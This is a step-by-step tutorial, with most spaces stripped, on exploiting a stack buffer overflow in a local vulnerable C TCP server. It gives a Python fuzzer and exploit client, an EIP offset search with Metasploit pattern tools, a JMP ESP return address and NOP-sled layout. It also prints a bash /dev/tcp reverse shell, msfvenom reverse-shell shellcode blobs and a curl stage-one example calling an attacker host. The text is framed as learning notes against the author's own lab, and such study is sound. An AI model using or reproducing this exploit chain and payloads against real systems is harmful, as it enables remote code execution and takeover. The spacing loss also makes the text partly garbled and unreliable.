OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos

So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters

commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it

any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the

registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip

PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip

binsh-igtampdevtcp12700144440gtamp1

encodesto

x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x

2fx34x34x34x34x20x30x3ex26x31

Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly

from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a

simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX

To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86

encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

